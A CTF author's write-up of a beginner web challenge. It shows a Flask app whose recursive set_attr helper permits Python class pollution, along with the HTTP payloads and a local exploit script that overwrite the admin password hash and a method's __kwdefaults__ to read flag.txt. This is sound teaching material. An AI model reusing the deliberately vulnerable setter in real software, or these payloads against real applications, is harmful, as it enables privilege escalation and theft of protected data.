# Team Rocket

## **Source Code Analysis**

* We are given a dist.zip of which we have a flask app running from **server.py**&#x20;
* Class Definitions are also labelled in **models.py** with a interesting function in **utils.py**

{% tabs %}
{% tab title="app.py" %}

```python
from flask import Flask, render_template, request, redirect, url_for, abort, session, flash
from models import Grunt, Commander, Member
from utils import set_attr
import os
import functools

app = Flask(__name__)
app.secret_key = os.urandom(32).hex()
admin = Commander("Giovanni", "Mewtwo", app.secret_key)
Member.add_member_to_list(admin)

# Login required decorator
def login_required(view):
    @functools.wraps(view)
    def wrapped_view(**kwargs):
        if 'user_id' not in session:
            ('You need to login first')
            return redirect(url_for('login'))
        return view(**kwargs)
    return wrapped_view

def get_user_information(id):
    member = Member.member_list.get(id)
    if member:
        return {
            'id': member.id,
            'name': member.name,
            'role': member.role,
            'pokemon': member.pokemon
            # Password removed for security
        }
    return None

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/login",  methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        name = request.form.get('name')
        password = request.form.get('password')
        for member_id, member in Member.member_list.items():
            if member.name == name and member.validate_password(password):
                session.clear()
                session['user_id'] = member.id
                session['user_name'] = member.name
                session['user_role'] = member.role
                return redirect(url_for('dashboard'))
    return render_template('login.html')

@app.route('/logout')
def logout():
    Member.clear_member_from_list(session.get('user_id'))
    session.clear()
    return redirect(url_for('index'))

@app.route("/dashboard", methods=['GET'])
@login_required
def dashboard():
    current_user_id = session.get('user_id')
    all_members = []
    for member_id, member in Member.member_list.items():
         if member.role == 'Commander' or member_id == current_user_id:
            all_members.append({
                'id': member.id,
                'name': member.name,
                'role': member.role,
                'pokemon': member.pokemon,
                'tagline': member.intro()
            })
    return render_template("dashboard.html", list_of_members=all_members)

@app.route('/register', methods=['GET', 'POST'])
def register():       
    if request.method == "POST":
        name = request.form["name"]
        pokemon = request.form["pokemon"]
        password = request.form['password']
        if not name or not pokemon or not password:
            abort(400)
        for member_id, member in Member.member_list.items():
            if member.name == name:
                 flash(f"Username '{name}' is already taken. Choose another one.", "error")
                 return render_template("register.html")
        user = Grunt(name, pokemon, password)
        Member.add_member_to_list(user)
        return redirect(url_for("index"))
    return render_template("register.html")



@app.route('/under_construction', methods=['POST'])
@login_required
def under_construction():
    if request.method == "POST":
        current_user_id = session.get('user_id')
        member = Member.member_list.get(current_user_id)
        if member:
            field = request.form['field']
            value = request.form['value']
            set_attr(member, field, str(value))
    return redirect(url_for('dashboard'))
 
@app.route('/control_panel', methods=['GET', 'POST'])
@login_required
def control_panel():
    current_user_id = session.get('user_id')
    member = Member.member_list.get(current_user_id)
    if not member or member.role != 'Commander':
        return redirect(url_for('dashboard')) 
    if request.method == 'POST':
        output = member.execute_command()
        return render_template('control_panel.html', output=output)
    return render_template('control_panel.html', output='Top Secret')

if __name__ == '__main__':
    app.run()
```

{% endtab %}

{% tab title="models.py" %}

```python
from __future__ import annotations
from typing import Dict
import uuid
import hashlib
import time

class Pokemon:
    def __init__(self, data: str):
        self.data = data
        self.edit_time = time.time()
    
    def __repr__(self):
        return f"{self.data}"

class Password:
    def __init__(self, data: str):
        self.data =  hashlib.sha256(data.encode()).hexdigest()
      
    def __repr__(self):
        return f"{self.data}"
    
class Member:
    member_list: Dict[str, Member] = {}
    def __init__(self, name: str, pokemon: str, password: str):
        self.id = str(uuid.uuid4())
        self.name = name
        self.pokemon = Pokemon(pokemon)
        self.role = "Member"
        self.password = Password(password)

    def __repr__(self):
        return f"{self.__class__.__name__}(id={self.id}, name={self.name}, pokemon={self.pokemon})"

    def intro(self):
        return f"Hi, I'm {self.name} and my role is {self.role}. Go {self.pokemon}!"

    def validate_password(self, password: str) -> bool:
        return self.password.data == hashlib.sha256(password.encode()).hexdigest()
    
    def add_member_to_list(member : Member):
        Member.member_list[member.id] = member
    
    def clear_member_from_list(member_id):
        if member_id in Member.member_list:
            del Member.member_list[member_id]
    
    

class Commander(Member):
    def __init__(self, name: str, pokemon: str, password: str):
        super().__init__(name, pokemon, password)
        self.role = "Commander"
        self.commands = {
            "secret_mission" : lambda: "Capture the creation trio and conquer the world!",
            "secret_message" : lambda : open("./flag.txt").read()
        }

    def execute_command(self, *, command="secret_mission") -> str:
        if command not in self.commands:
            return "Unknown command"
        return self.commands[command]()
    
   
 
    
class Grunt(Member):
    def __init__(self, name: str, pokemon: str, password: str):
        super().__init__(name, pokemon, password)
        self.role = "Grunt"

 

 
```

{% endtab %}

{% tab title="utils.py" %}

```python
def set_attr(obj, prop, value):
    prop_chain = prop.split('.')
    cur_prop = prop_chain[0]
    if len(prop_chain) == 1:
        if isinstance(obj, dict):
            obj[cur_prop] = value
        else:
            setattr(obj, cur_prop, value)

    else:
        if isinstance(obj, dict):
            if cur_prop in obj:
                next_obj = obj[cur_prop]
            else:
                next_obj = {}
                obj[cur_prop] = next_obj
        else:
            if hasattr(obj, cur_prop):
                next_obj = getattr(obj, cur_prop)
            else:
                next_obj = {}
                setattr(obj, cur_prop, next_obj)
        set_attr(next_obj, '.'.join(prop_chain[1:]), value)
```

{% endtab %}
{% endtabs %}

Looking at **models.py,** it is quite obvious that we have to elevate our user from a **Grunt** to a **Commander**.

We can start with registering a user which uses the **Grunt** class template.

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FxMBAvxgMTuy6uKiiSJ0x%2Fimage.png?alt=media&#x26;token=2d5fb287-b47e-49aa-b6f6-a5d254c9f40c" alt=""><figcaption><p>Greeted with a dashboard</p></figcaption></figure>

We immediately see a **Commander** user called `Giovanni` and looking at **server.py**, we can see the user created during server startup, taking `app.secret_key` as password and being added to `member_list` which we will get back to later.

```python
app = Flask(__name__)
app.secret_key = os.urandom(32).hex()
admin = Commander("Giovanni", "Mewtwo", app.secret_key)
Member.add_member_to_list(admin)
```

We also see two interesting file routes `/under_construction` and `/control_panel`&#x20;

* `under_construction` is a API endpoint which only accepts **POST requests**.&#x20;
* `control_panel` requires us to be a `Commander` which is out of reach for now

Taking a closer look into `/under_construction`, we see that it is supposedly a edit feature for the user, allowing them to update their own attributes (E.g `pokemon`, `password)`.

The vulnerability lies in how the attributes are being set with `set_attr` which recursively sets the attributes, using `.` as a seperator.

```python
def set_attr(obj, prop, value):
    prop_chain = prop.split('.')
    cur_prop = prop_chain[0]
    if len(prop_chain) == 1:
        if isinstance(obj, dict):
            obj[cur_prop] = value
        else:
            setattr(obj, cur_prop, value)

    else:
        if isinstance(obj, dict):
            if cur_prop in obj:
                next_obj = obj[cur_prop]
            else:
                next_obj = {}
                obj[cur_prop] = next_obj
        else:
            if hasattr(obj, cur_prop):
                next_obj = getattr(obj, cur_prop)
            else:
                next_obj = {}
                setattr(obj, cur_prop, next_obj)
        ## Using `.` as a seperator
        set_attr(next_obj, '.'.join(prop_chain[1:]), value)
```

Looking at  `models.py`, we see that both `Grunt` and `Commander` class inherit from the same base class `Member.`

As such, they are able to access the `member_list` variable in `Member` class, allowing them to edit the admin user added into that list.

<pre class="language-python" data-title="Example"><code class="lang-python"><strong>>>> from models import *
</strong>>>> c = Commander("c", "c", "c")
>>> c
Commander(id=9f1ce056-7608-4473-a5d5-bb3b96be6d64, name=c, pokemon=c)                                               
>>> Member.add_member_to_list(c)
>>> g = Grunt("nicholas","darkrai","asd")
>>> g
Grunt(id=ae9f795b-1025-4289-a46c-b9f1d7526154, name=nicholas, pokemon=darkrai)
>>> g.__class__.__base__ 
&#x3C;class 'models.Member'>
>>> g.__class__.__base__.member_list
{'9f1ce056-7608-4473-a5d5-bb3b96be6d64': Commander(id=9f1ce056-7608-4473-a5d5-bb3b96be6d64, name=c, pokemon=c)}
>>> 
</code></pre>

This allows you to influence the values of global variables which gives us a few options in escalating to `Commander.`

### **Privilege Escalation**

1. Changing of `app.secret_key`&#x20;
   1. Changing this allows you to craft your own session cookie as `Commander` using [flask-unsign](https://github.com/Paradoxis/Flask-Unsign)
   2. Slightly tedious as the usual `class.init.globals` will not work.
2. Changing of the admin user (Giovanni)'s password &#x20;
   1. With some nested queries, one is able to change the password of the admin user added during initialization to whatever hashed variant they want
   2. This was the intended path
3. Changing the Grunt User's id to match the admin user
   1. The `user_id` check in `control_panel` checks against all the users in `member_list` and since the admin user was first to be added during server initialization , it will pass the check
   2. This was spotted by lty748 (thanks!)

We also need the id of the `Commander` user which is conveniently commented out in `dashboard.html.`

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FQWaROlAzr1Z2AuHD3mhu%2Fimage.png?alt=media&#x26;token=60fb6b12-860b-40e4-a834-5aac9321e410" alt=""><figcaption><p>:p</p></figcaption></figure>

Following (2) which changes the admin password, this is what the request would look like on Postman or Burp. The `SHA` hash simply translates to "test".&#x20;

```http
POST /under_construction HTTP/1.1
Host: 127.0.0.1:5000
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:5000/login
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJyrViotTi2Kz0xRslIysDA2MjFNTtJNTjY30TUxNjPTtTQ0NdY1NLE0Tks0NDBOtkxW0oFoyEvMTQVq8ctMzsjPSSyGCRfl54CE3YtK80qUagHfPxwC.Z8CTkA.k2eC5A_mN0qZ_-VWLxZY_Wz_Zmo
Content-Type: application/x-www-form-urlencoded
Content-Length: 149

field=__class__.member_list.3406a1cc-9474-48b2-ac61-20bde4152ee2.password.data&value=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
```

This brings us to `/control_panel`

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FGAsLlEZKKle0uVnOnjKC%2Fimage.png?alt=media&#x26;token=312c3889-497d-483d-9667-ef0a74f86f98" alt=""><figcaption><p>woohoo?</p></figcaption></figure>

### **A Twist**

Simply typing anything in the input box will keep displaying the same message `"Capture the creation trio and conquer the world!"`

Taking a look at the source code again we see the issue, the server doesn't even process our input and defaults to `secret_missionn` by default:person\_facepalming:

{% tabs %}
{% tab title="server.py" %}

```python
## snip
@app.route('/control_panel', methods=['GET', 'POST'])
@login_required
def control_panel():
    current_user_id = session.get('user_id')
    member = Member.member_list.get(current_user_id)
    if not member or member.role != 'Commander':
        return redirect(url_for('dashboard')) 
    if request.method == 'POST':
        output = member.execute_command()
        return render_template('control_panel.html', output=output)
    return render_template('control_panel.html', output='Top Secret')

```

{% endtab %}

{% tab title="models.py" %}

```python
class Commander(Member):
    def __init__(self, name: str, pokemon: str, password: str):
        super().__init__(name, pokemon, password)
        self.role = "Commander"
        self.commands = {
            "secret_mission" : lambda: "Capture the creation trio and conquer the world!",
            "secret_message" : lambda : open("./flag.txt").read()
        }

    def execute_command(self, *, command="secret_mission") -> str:
        if command not in self.commands:
            return "Unknown command"
        return self.commands[command]()
```

{% endtab %}
{% endtabs %}

Doing a quick google search, we realize we are able to ovewrite the default keyword argument `__kwdefaults__` using the same vulnerable `set_attr` function in `/under_construction`

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FzfdXnJMQsiwD7rwsDCQ1%2Fimage.png?alt=media&#x26;token=532d65d2-0eca-4b6f-88dd-7c9d19ece1cd" alt=""><figcaption></figcaption></figure>

We can test it locally again and success!

```python
>>> from models import *
>>> c = Commander('c','c','c')
>>> c.execute_command
<bound method Commander.execute_command of Commander(id=d107de92-bb1a-4292-badd-18347720448b, name=c, pokemon=c)>
<method-wrapper '__init__' of method object at 0x0000016EA0178BC0>
>>> c.__class__.execute_command.__kwdefaults__
{'command': 'secret_mission'}
>>> c.__class__.execute_command.__kwdefaults__['command']
'secret_mission'
>>> c.__class__.execute_command.__kwdefaults__['command'] = 'hello'
>>> c.__class__.execute_command.__kwdefaults__
{'command': 'hello'}
```

Crafting the appropriate POST request to `/under_construction` and visiting `control_panel` gives us the flag.

```http
POST /under_construction HTTP/1.1
Host: 127.0.0.1:5000
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Referer: http://127.0.0.1:5000/login
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJyrViotTi2Kz0xRslIyNjEwSzRMTta1NDE30TWxSDLSTUw2M9Q1MkhKSTUxNDVKTTVS0oFoyEvMTQVqcc_ML0vMy8uECRfl54CEnfNzcxPzUlKLlGoBdJseEw.Z8Hfnw.8AHDOZXVfF6YQmMdiFPNCdIP34k
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

field=__class__.execute_command.__kwdefaults__.command&value=secret_message
```

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FsjrgH5ioCg24msAfnXTb%2Fimage.png?alt=media&#x26;token=ca40afc4-46fb-43b2-9a80-d675e29f4e29" alt=""><figcaption></figcaption></figure>

## **Challenges**

1. **Technical Limitations?**
   1. The nature of the challenge meant that the variables and class structures in memory were being overriden. This resulted in needinng the server to reset every 5 minutes which might have proved to be a nuisance to some participants (albeit testing locally would have alleviated most of this)
   2. This challenge would have worked better if it was a seperate instance per team or a remote API server like in binary exploit challenges.&#x20;
2. **Difficulty?**

   1. SMU WhiteHacks CTF is catered towards beginners in cyber security, opening only to JC and Poly Students not in IT courses.  However, there were pretty good CTF players within the JC category so there needed to be a wide spread of challenges ranging across all difficulties.
   2. However, the challenge is really doable as a beginner with the help of chatgpt. Simply copy pasting snippets of **interesting** code into chatgpt should net you **some direction as to what vulnerability the website was succeptible to.**

      <figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2Fb4W0omdOYVO4E6ndXKg5%2Fimage.png?alt=media&#x26;token=8ba5e141-72c1-4bed-a98c-7fe2a2621ba2" alt=""><figcaption><p>Pasting <code>set_attr</code> function into ChatGPT</p></figcaption></figure>

\
Overall, i just thought that this was a cool concept of a challenge. I hope to create more interesting Web and Binary Exploit challenges in the future hehe.\
\
Attached below are some useful references and my test script I used for automating most of the challenge.<br>

## References

{% embed url="<https://blog.abdulrah33m.com/prototype-pollution-in-python/>" %}

{% code title="testing.py" %}

```python
import requests

def send_password_modification(host, cookie_value, member_id):
    url = f"http://{host}/under_construction"
    
    headers = {
        "Host": host,
        "Cache-Control": "max-age=0",
        "Accept-Language": "en-GB,en;q=0.9",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
        "Cookie": f"session={cookie_value}",
        "Connection": "keep-alive",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    # The password hash is for "test"
    data = f"field=__class__.member_list.{member_id}.password.data&value=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
    
    print(f"Sending request to: {url}")
    print(f"With data: {data}")
    print(f"Using cookie: session={cookie_value}")
    
    try:
        response = requests.post(url, headers=headers, data=data)
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text}")
    except Exception as e:
        print(f"Error: {e}")


def override_command(host, cookie_value):
    url = f"http://{host}/under_construction"
    
    headers = {
        "Host": host,
        "Cache-Control": "max-age=0",
        "Accept-Language": "en-GB,en;q=0.9",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
        "Cookie": f"session={cookie_value}",
        "Connection": "keep-alive",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    data = "field=__class__.execute_command.__kwdefaults__.command&value=secret_message"
    
    print(f"Sending request to: {url}")
    print(f"With data: {data}")
    print(f"Using cookie: session={cookie_value}")
    
    try:
        changing_kwdefualts = requests.post(url, headers=headers, data=data)
        flag = requests.post(f"http://{host}/control_panel", headers=headers)
        print(flag.text)
    except Exception as e:
        print(f"Error: {e}")


if __name__ == "__main__":
    host = "127.0.0.1:5000"
    
    print("Choose exploit:")
    print("1. Password Modification")
    print("2. Command Override")
    
    choice = input("Enter your choice (1 or 2): ")
    cookie = input("Enter your cookie session value: ")
    
    if choice == "1":
        member_id = input("Enter the member ID: ")
        send_password_modification(host, cookie, member_id)
    elif choice == "2":
        override_command(host, cookie)
    else:
        print("Invalid choice. Please run again and select 1 or 2.")
    
    print("Done! Try logging in or executing /control_panel to see the changes.")
```

{% endcode %}
